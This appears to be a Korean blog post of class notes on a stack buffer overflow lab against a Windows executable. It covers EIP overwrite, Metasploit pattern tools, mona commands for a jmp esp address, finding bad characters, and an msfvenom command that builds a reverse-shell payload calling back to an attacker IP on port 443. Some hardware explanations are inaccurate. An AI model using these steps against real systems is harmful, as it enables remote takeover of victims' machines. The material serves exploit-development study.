실행파일 취약점 이론 및 실습

올빼미·2024년 11월 11일

애플리케이션(PE) 취약점 이해

  • Buffer Over Flow(BoF) : 버퍼 공간을 넘치게 해서 내가 원하는 실행 흐름으로 변경하는 공격 기법 -> 우리가 할꺼!
  • Race Condition : 파일의 I/0을 통해 파일쓰기를 경쟁하여 원하는 코드를 실행 하는 공격 기법

시스템 구조 : CPU,메모리, 보조기억장치, 입력장치, 출력장치

-> CPU : 주기억장치, 연산을 수행(사람의 뇌같이)
-> 메모리 : 결과가 실행되는 영역
-> 보조기억장치 : 하드디스크=영원히 저장되는 공간
-> 입력,출력장치 : 입력과 출력을 하는 장치

용어정리

  • Buffer : 메모리 공간
    -> 메모리 : 실행되는 영역, 여러개의 실행 영역을 가짐, 실행되는 영역을 프로세스라고 부름
    -> 1개의 프로세스는 여러개의 스레드 영역을 가짐
    -> 스레드 : 프로세스 영역을 함수 단위로 작게 나눈 영역

==> 스레드 영역을 공략하여 > 원하는 코드를 삽입

  • 함수는 종료될때 Main으로 돌아가는 Return 주소를 가지고 있음
    -> Return : 사이즈 4바이트의 고정된 길이의 주소를 가짐
    ==> BoF : 입력 할수 있는 모든 Form을 대상으로 Return 주소에 대한 조작 가능성을 판단한다

  • 입력 form
    -> 1) socket 기반의 Open port로 데이터 보내기
    -> 2) 데이터 열기
    -> 3) 실행파일이 웹 서버를 가지고 있어, 웹브라우저를 통해 처리되는 데이터가 App으로 전송되는 경우

  • 디버거 : 역분석=원시적으로 되돌려서 분석하는 단계
    -> 어셈블리어(가장 낮은 레벨의 프로그래밍 언어)를 사용

  • 레지스터 : 디버거를 통해 데이터가 저장되는 변수
    -> 범용 레지스터 : EAX,EBX,ECX,EDX,ESP
    -> EAX~EDX : 산술경과 저장, 사용자 입력 결과 저장, 반복문 결과 저장
    -> ESP : 스택포인터=실행되고 있는 메모리 주소를 저장
    -> 명령 레지스터 : EIP
    -> EIP : 다음에 실행될 주소(다음에 이동할 메모리 공간)를 저장

어셈블리어와 프로그래밍

def sum():
C=A+B;
return main

main()
sum(); <---- call 어셈블리어로 호출
return ();

흐름 : main > sum호출 > sum실행 > main리턴 > 종료

  • mona : App에 대한 취약점을 쉽게 찾기 위해 만들어진 플러그인 중 하나, python코드 기반, BoF 취약점을 쉽게 찾고 주소를 빠르게 찾기 위한 용도
  • 왜 영어인지 ?
    : 한국어는 유니코드상 오류가 있는(운영체제에서 처리 못하는) 코드가 존재 > 따라서 디버거 작업 또는 익스플로잇 코드에서 동작하지 않을수도 있음

실습 진행

1) Input Form Find : socket(port), 파일, WebBase

2) 데이터 전송 (입력 되는 부분의 함수 사이즈 확인 용도)
-> Return주소의 변조 가능성(EIP에 우리가 입력 한 문자열 확인)
->임의의 큰 데이터를 입력 >> EIP 조작(DEP, ASLR, SEH등 보호 기법이 걸려 있어도 같은원리)
//취약점이 존재하면 무조건 EIP 조작이 가능함

3) 정확한 버퍼사이즈 구해서 EIP에 우리가 원하는 문자열로 4바이트 채우기
-> msf-pattern_create -l 2000 //패턴을 가지는 문자열 2000바이트 생성
-> msf-pattern_offset -q //EIP에 확인된 주소에 대해 오프셋(버퍼사이즈) 구하는 명령어

코드 수정하고 >> 프로그램 재실행 >>> 코드 전송(반복)

4) 다른공간의 스택으로 점프(실행)할 수 있는 주소 4바이트 찾기
-> jmp esp, push esp ..등
-> !mona modules //취약한 모듈(프로그램) 찾기, 보호 기법(SEH, ASLR, DEP)이 없는
-> !mona jmp -r esp -m essfunc.dll ///취약한 모듈로 부터 esp공간으로 이동(점프)하는 주소 찾기

5) Bad Char 찾기

  • 애플리케이션별로, 특수한 기능을 가지는 문자가 존재, 해당 문자가 없어야 원래의 기능으로 동작
    -> !mona bytearray -b "\x00"
    -> 00 07 2E A0
    6) Exploit Code 완성 및 PoC 검증
    -> msfvenom -p windows/shell_reverse_tcp -> lhost=192.168.135.164 lport=443 -b "\x00\x07\x2e\xa0" -f py
  • *msfvenom : 셸 생성기(악성코드 생성기라 생각하면됨)
  • -p ~~ : 페이로드, 이미 작성된 악성 스크립트
  • lhost = 타겟시스템이 연결될 시스템(공격자), kali ip
  • lport = 공격자의 리스닝 port(443사용)
  • -b : 5)번에서 확인된 배드 캐릭터 문자열 지정, 셸코드를 생성하면서 지정된 문자열은 제외
  • -f py : python 코드로 출력(f는 filetype을 지정)

*"\x90" 10 = \x90은 NOP코드를 뜻함, 아무런 기능없이 공간만 차지, 10개를 넣겠다.
-> 10~20개를 보통 넣음 >> 우리가 앞에 넣은 A라는 문자열과, 리턴주소, 그리고 뒤에 나오는 셸코드간에 가상의 공간 분리라고 보면됨(일종의 벽)
-> ESP 를 통해 Follow in Dump해서 , Dump창 기준으로 오른쪽방향으로 짤린 문자열이 배드캐릭터가 됨.
ex) 01 02 03 99 >>> 04가 배드캐릭터

profile
시들시들한 올빼미

0개의 댓글